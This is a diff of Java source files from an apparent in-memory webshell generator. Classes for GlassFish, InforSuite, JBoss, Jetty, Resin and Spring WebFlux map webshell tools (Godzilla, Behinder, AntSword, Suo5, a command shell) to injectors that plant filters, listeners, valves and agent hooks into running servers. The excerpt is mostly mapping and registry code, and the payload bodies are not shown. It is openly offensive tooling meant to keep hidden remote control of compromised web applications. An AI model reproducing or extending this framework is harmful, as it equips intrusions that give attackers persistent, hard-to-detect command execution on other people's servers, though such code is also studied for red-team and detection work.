.addShellClass(VALVE, AntSwordValve.class)
.addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class)
.addShellClass(AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class)
.build());
}
}
@@ -0,0 +1,125 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.generator.ListenerGenerator;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishFilterInjector;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
import com.reajason.javaweb.memshell.tomcat.injector.TomcatContextValveAgentInjector;
import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.implementation.bytecode.assign.Assigner;
import static com.reajason.javaweb.memshell.ShellType.*;
/**
* @author ReaJason
* @since 2024/12/12
*/
public class GlassFishShell extends AbstractShell {
public static class ListenerInterceptor {
@Advice.OnMethodExit
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
try {
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "request"), "response");
} catch (Exception e) {
try {
response = ShellCommonUtil.getFieldValue(request, "response");
} catch (Exception ee) {
// glassfish7
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "reqFacHelper"), "response");
}
}
}
}
@Override
protected InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(FILTER, GlassFishFilterInjector.class)
.addInjector(JAKARTA_FILTER, GlassFishFilterInjector.class)
.addInjector(LISTENER, GlassFishListenerInjector.class)
.addInjector(JAKARTA_LISTENER, GlassFishListenerInjector.class)
.addInjector(VALVE, GlassFishValveInjector.class)
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
.addInjector(AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
.build();
}
@Override
protected void init() {
Class<?> commandListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Command);
addToolMapping(ShellTool.Command, ToolMapping.builder()
.addShellClass(FILTER, CommandFilter.class)
.addShellClass(JAKARTA_FILTER, CommandFilter.class)
.addShellClass(LISTENER, commandListenerClass)
.addShellClass(JAKARTA_LISTENER, commandListenerClass)
.addShellClass(VALVE, CommandValve.class)
.addShellClass(JAKARTA_VALVE, CommandValve.class)
.addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
.addShellClass(AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
.build());
Class<?> godzillaListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Godzilla);
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
.addShellClass(FILTER, GodzillaFilter.class)
.addShellClass(JAKARTA_FILTER, GodzillaFilter.class)
.addShellClass(LISTENER, godzillaListenerClass)
.addShellClass(JAKARTA_LISTENER, godzillaListenerClass)
.addShellClass(VALVE, GodzillaValve.class)
.addShellClass(JAKARTA_VALVE, GodzillaValve.class)
.addShellClass(AGENT_FILTER_CHAIN, GodzillaFilterChainAdvisor.class)
.addShellClass(AGENT_CONTEXT_VALVE, GodzillaFilterChainAdvisor.class)
.build());
Class<?> behinderListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Behinder);
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
.addShellClass(FILTER, BehinderFilter.class)
.addShellClass(JAKARTA_FILTER, BehinderFilter.class)
.addShellClass(LISTENER, behinderListenerClass)
.addShellClass(JAKARTA_LISTENER, behinderListenerClass)
.addShellClass(VALVE, BehinderValve.class)
.addShellClass(JAKARTA_VALVE, BehinderValve.class)
.addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class)
.addShellClass(AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class)
.build());
Class<?> suo5ListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Suo5);
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
.addShellClass(FILTER, Suo5Filter.class)
.addShellClass(JAKARTA_FILTER, Suo5Filter.class)
.addShellClass(LISTENER, suo5ListenerClass)
.addShellClass(JAKARTA_LISTENER, suo5ListenerClass)
.addShellClass(VALVE, Suo5Valve.class)
.addShellClass(JAKARTA_VALVE, Suo5Valve.class)
.build());
Class<?> antSwordListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.AntSword);
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
.addShellClass(FILTER, AntSwordFilter.class)
.addShellClass(LISTENER, antSwordListenerClass)
.addShellClass(VALVE, AntSwordValve.class)
.addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class)
.addShellClass(AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class)
.build());
}
}
@@ -0,0 +1,104 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.generator.ListenerGenerator;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector;
import com.reajason.javaweb.memshell.inforsuite.injector.InforSuiteFilterInjector;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
import com.reajason.javaweb.memshell.tomcat.injector.TomcatContextValveAgentInjector;
import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector;
import static com.reajason.javaweb.memshell.ShellType.*;
/**
* @author ReaJason
* @since 2024/12/24
*/
public class InforSuiteShell extends AbstractShell {
@Override
protected InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(FILTER, InforSuiteFilterInjector.class)
.addInjector(JAKARTA_FILTER, InforSuiteFilterInjector.class)
.addInjector(LISTENER, GlassFishListenerInjector.class)
.addInjector(JAKARTA_LISTENER, GlassFishListenerInjector.class)
.addInjector(VALVE, GlassFishValveInjector.class)
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
.addInjector(AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
.build();
}
@Override
protected void init() {
Class<?> commandListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Command);
addToolMapping(ShellTool.Command, ToolMapping.builder()
.addShellClass(FILTER, CommandFilter.class)
.addShellClass(JAKARTA_FILTER, CommandFilter.class)
.addShellClass(LISTENER, commandListenerClass)
.addShellClass(JAKARTA_LISTENER, commandListenerClass)
.addShellClass(VALVE, CommandValve.class)
.addShellClass(JAKARTA_VALVE, CommandValve.class)
.addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
.addShellClass(AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
.build());
Class<?> godzillaListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Godzilla);
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
.addShellClass(FILTER, GodzillaFilter.class)
.addShellClass(JAKARTA_FILTER, GodzillaFilter.class)
.addShellClass(LISTENER, godzillaListenerClass)
.addShellClass(JAKARTA_LISTENER, godzillaListenerClass)
.addShellClass(VALVE, GodzillaValve.class)
.addShellClass(JAKARTA_VALVE, GodzillaValve.class)
.addShellClass(AGENT_FILTER_CHAIN, GodzillaFilterChainAdvisor.class)
.addShellClass(AGENT_CONTEXT_VALVE, GodzillaFilterChainAdvisor.class)
.build());
Class<?> behinderListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Behinder);
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
.addShellClass(FILTER, BehinderFilter.class)
.addShellClass(JAKARTA_FILTER, BehinderFilter.class)
.addShellClass(LISTENER, behinderListenerClass)
.addShellClass(JAKARTA_LISTENER, behinderListenerClass)
.addShellClass(VALVE, BehinderValve.class)
.addShellClass(JAKARTA_VALVE, BehinderValve.class)
.addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class)
.addShellClass(AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class)
.build());
Class<?> suo5ListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Suo5);
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
.addShellClass(FILTER, Suo5Filter.class)
.addShellClass(JAKARTA_FILTER, Suo5Filter.class)
.addShellClass(LISTENER, suo5ListenerClass)
.addShellClass(JAKARTA_LISTENER, suo5ListenerClass)
.addShellClass(VALVE, Suo5Valve.class)
.addShellClass(JAKARTA_VALVE, Suo5Valve.class)
.build());
Class<?> antSwordListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.AntSword);
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
.addShellClass(FILTER, AntSwordFilter.class)
.addShellClass(LISTENER, antSwordListenerClass)
.addShellClass(VALVE, AntSwordValve.class)
.addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class)
.addShellClass(AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class)
.build());
}
}
@@ -0,0 +1,29 @@
package com.reajason.javaweb.memshell.server;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Singular;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
/**
* @author ReaJason
* @since 2025/2/21
*/
@Builder
@AllArgsConstructor
public class InjectorMapping {
@Singular("addInjector")
private final Map<String, Class<?>> injectorMap;
public Class<?> getInjector(String type) {
return injectorMap.get(type);
}
public List<String> getSupportedShellTypes() {
return new ArrayList<>(injectorMap.keySet());
}
}
@@ -0,0 +1,84 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.generator.ListenerGenerator;
import com.reajason.javaweb.memshell.jboss.injector.JbossFilterInjector;
import com.reajason.javaweb.memshell.jboss.injector.JbossListenerInjector;
import com.reajason.javaweb.memshell.jboss.injector.JbossValveInjector;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
import com.reajason.javaweb.memshell.tomcat.injector.TomcatContextValveAgentInjector;
import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector;
import static com.reajason.javaweb.memshell.ShellType.*;
/**
* @author ReaJason
* @since 2024/12/10
*/
public class JbossShell extends AbstractShell {
@Override
protected InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(FILTER, JbossFilterInjector.class)
.addInjector(LISTENER, JbossListenerInjector.class)
.addInjector(VALVE, JbossValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
.addInjector(AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
.build();
}
@Override
protected void init() {
addToolMapping(ShellTool.Command, ToolMapping.builder()
.addShellClass(FILTER, CommandFilter.class)
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Command))
.addShellClass(VALVE, CommandValve.class)
.addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
.addShellClass(AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
.build());
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
.addShellClass(FILTER, GodzillaFilter.class)
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Godzilla))
.addShellClass(VALVE, GodzillaValve.class)
.addShellClass(AGENT_FILTER_CHAIN, GodzillaFilterChainAdvisor.class)
.addShellClass(AGENT_CONTEXT_VALVE, GodzillaFilterChainAdvisor.class)
.build());
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
.addShellClass(FILTER, BehinderFilter.class)
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Behinder))
.addShellClass(VALVE, BehinderValve.class)
.addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class)
.addShellClass(AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class)
.build());
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
.addShellClass(FILTER, Suo5Filter.class)
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Suo5))
.addShellClass(VALVE, Suo5Valve.class)
.build());
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
.addShellClass(FILTER, AntSwordFilter.class)
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.AntSword))
.addShellClass(VALVE, AntSwordValve.class)
.addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class)
.addShellClass(AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class)
.build());
}
}
@@ -0,0 +1,114 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.generator.ListenerGenerator;
import com.reajason.javaweb.memshell.jetty.antsword.AntSwordHandlerAdvisor;
import com.reajason.javaweb.memshell.jetty.behinder.BehinderHandlerAdvisor;
import com.reajason.javaweb.memshell.jetty.command.CommandHandlerAdvisor;
import com.reajason.javaweb.memshell.jetty.godzilla.GodzillaHandlerAdvisor;
import com.reajason.javaweb.memshell.jetty.injector.JettyFilterInjector;
import com.reajason.javaweb.memshell.jetty.injector.JettyHandlerAgentInjector;
import com.reajason.javaweb.memshell.jetty.injector.JettyListenerInjector;
import com.reajason.javaweb.memshell.jetty.injector.JettyServletInjector;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.implementation.bytecode.assign.Assigner;
import static com.reajason.javaweb.memshell.ShellType.*;
/**
* @author ReaJason
* @since 2024/12/7
*/
public class JettyShell extends AbstractShell {
public static final String AGENT_HANDLER = AGENT + "Handler";
public static class ListenerInterceptor {
@Advice.OnMethodExit
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
try {
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_channel"), "_response");
} catch (Exception e) {
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_connection"), "_response");
}
}
}
@Override
protected InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(SERVLET, JettyServletInjector.class)
.addInjector(JAKARTA_SERVLET, JettyServletInjector.class)
.addInjector(FILTER, JettyFilterInjector.class)
.addInjector(JAKARTA_FILTER, JettyFilterInjector.class)
.addInjector(LISTENER, JettyListenerInjector.class)
.addInjector(JAKARTA_LISTENER, JettyListenerInjector.class)
.addInjector(AGENT_HANDLER, JettyHandlerAgentInjector.class)
.build();
}
@Override
protected void init() {
Class<?> commandListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Command);
addToolMapping(ShellTool.Command, ToolMapping.builder()
.addShellClass(SERVLET, CommandServlet.class)
.addShellClass(JAKARTA_SERVLET, CommandServlet.class)
.addShellClass(FILTER, CommandFilter.class)
.addShellClass(JAKARTA_FILTER, CommandFilter.class)
.addShellClass(LISTENER, commandListenerClass)
.addShellClass(JAKARTA_LISTENER, commandListenerClass)
.addShellClass(AGENT_HANDLER, CommandHandlerAdvisor.class)
.build());
Class<?> godzillaListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Godzilla);
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
.addShellClass(SERVLET, GodzillaServlet.class)
.addShellClass(JAKARTA_SERVLET, GodzillaServlet.class)
.addShellClass(FILTER, GodzillaFilter.class)
.addShellClass(JAKARTA_FILTER, GodzillaFilter.class)
.addShellClass(LISTENER, godzillaListenerClass)
.addShellClass(JAKARTA_LISTENER, godzillaListenerClass)
.addShellClass(AGENT_HANDLER, GodzillaHandlerAdvisor.class)
.build());
Class<?> behinderListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Behinder);
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
.addShellClass(SERVLET, BehinderServlet.class)
.addShellClass(JAKARTA_SERVLET, BehinderServlet.class)
.addShellClass(FILTER, BehinderFilter.class)
.addShellClass(JAKARTA_FILTER, BehinderFilter.class)
.addShellClass(LISTENER, behinderListenerClass)
.addShellClass(JAKARTA_LISTENER, behinderListenerClass)
.addShellClass(AGENT_HANDLER, BehinderHandlerAdvisor.class)
.build());
Class<?> suo5ListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Suo5);
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
.addShellClass(SERVLET, Suo5Servlet.class)
.addShellClass(JAKARTA_SERVLET, Suo5Servlet.class)
.addShellClass(FILTER, Suo5Filter.class)
.addShellClass(JAKARTA_FILTER, Suo5Filter.class)
.addShellClass(LISTENER, suo5ListenerClass)
.addShellClass(JAKARTA_LISTENER, suo5ListenerClass)
.build());
Class<?> antSwordListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.AntSword);
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
.addShellClass(SERVLET, AntSwordServlet.class)
.addShellClass(FILTER, AntSwordFilter.class)
.addShellClass(LISTENER, antSwordListenerClass)
.addShellClass(AGENT_HANDLER, AntSwordHandlerAdvisor.class)
.build());
}
}
@@ -0,0 +1,89 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.generator.ListenerGenerator;
import com.reajason.javaweb.memshell.resin.injector.ResinFilterChainAgentInjector;
import com.reajason.javaweb.memshell.resin.injector.ResinFilterInjector;
import com.reajason.javaweb.memshell.resin.injector.ResinListenerInjector;
import com.reajason.javaweb.memshell.resin.injector.ResinServletInjector;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.implementation.bytecode.assign.Assigner;
import static com.reajason.javaweb.memshell.ShellType.*;
/**
* @author ReaJason
* @since 2024/12/14
*/
public class ResinShell extends AbstractShell {
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
public static class ListenerInterceptor {
@Advice.OnMethodExit
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
response = ShellCommonUtil.getFieldValue(request, "_response");
}
}
@Override
protected InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(SERVLET, ResinServletInjector.class)
.addInjector(FILTER, ResinFilterInjector.class)
.addInjector(LISTENER, ResinListenerInjector.class)
.addInjector(AGENT_FILTER_CHAIN, ResinFilterChainAgentInjector.class)
.build();
}
@Override
protected void init() {
addToolMapping(ShellTool.Command, ToolMapping.builder()
.addShellClass(SERVLET, CommandServlet.class)
.addShellClass(FILTER, CommandFilter.class)
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Command))
.addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
.build());
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
.addShellClass(SERVLET, GodzillaServlet.class)
.addShellClass(FILTER, GodzillaFilter.class)
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Godzilla))
.addShellClass(AGENT_FILTER_CHAIN, GodzillaFilterChainAdvisor.class)
.build());
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
.addShellClass(SERVLET, BehinderServlet.class)
.addShellClass(FILTER, BehinderFilter.class)
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Behinder))
.addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class)
.build());
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
.addShellClass(SERVLET, Suo5Servlet.class)
.addShellClass(FILTER, Suo5Filter.class)
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Suo5))
.build());
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
.addShellClass(SERVLET, AntSwordServlet.class)
.addShellClass(FILTER, AntSwordFilter.class)
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.AntSword))
.addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class)
.build());
}
}
@@ -0,0 +1,12 @@
package com.reajason.javaweb.memshell.server;
/**
* @author ReaJason
* @since 2025/2/22
*/
public class ServerToolRegistry {
public static void addToolMapping(){
}
}
@@ -0,0 +1,58 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerFunction;
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerMethod;
import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler;
import com.reajason.javaweb.memshell.springwebflux.command.CommandWebFilter;
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerFunction;
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerMethod;
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaNettyHandler;
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaWebFilter;
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxHandlerFunctionInjector;
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxHandlerMethodInjector;
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxNettyHandlerInjector;
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxWebFilterInjector;
import com.reajason.javaweb.memshell.springwebflux.suo5.Suo5WebFilter;
/**
* @author ReaJason
* @since 2024/12/24
*/
public class SpringWebFluxShell extends AbstractShell {
public static final String WEB_FILTER = "WebFilter";
public static final String HANDLER_METHOD = "HandlerMethod";
public static final String HANDLER_FUNCTION = "HandlerFunction";
public static final String NETTY_HANDLER = "NettyHandler";
@Override
protected InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(WEB_FILTER, SpringWebFluxWebFilterInjector.class)
.addInjector(HANDLER_METHOD, SpringWebFluxHandlerMethodInjector.class)
.addInjector(HANDLER_FUNCTION, SpringWebFluxHandlerFunctionInjector.class)
.addInjector(NETTY_HANDLER, SpringWebFluxNettyHandlerInjector.class)
.build();
}
@Override
protected void init() {
addToolMapping(ShellTool.Command, ToolMapping.builder()
.addShellClass(WEB_FILTER, CommandWebFilter.class)
.addShellClass(HANDLER_METHOD, CommandHandlerMethod.class)
.addShellClass(HANDLER_FUNCTION, CommandHandlerFunction.class)
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
.build());
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
.addShellClass(WEB_FILTER, GodzillaWebFilter.class)
.addShellClass(HANDLER_METHOD, GodzillaHandlerMethod.class)
.addShellClass(HANDLER_FUNCTION, GodzillaHandlerFunction.class)
.addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
.build());
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
.addShellClass(WEB_FILTER, Suo5WebFilter.class)
.build());
}
}
@@ -0,0 +1,85 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordServletAdvisor;
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor;
import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.command.CommandServletAdvisor;
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdvisor;
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcControllerHandlerInjector;
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentInjector;
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcInterceptorInjector;
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5ControllerHandler;
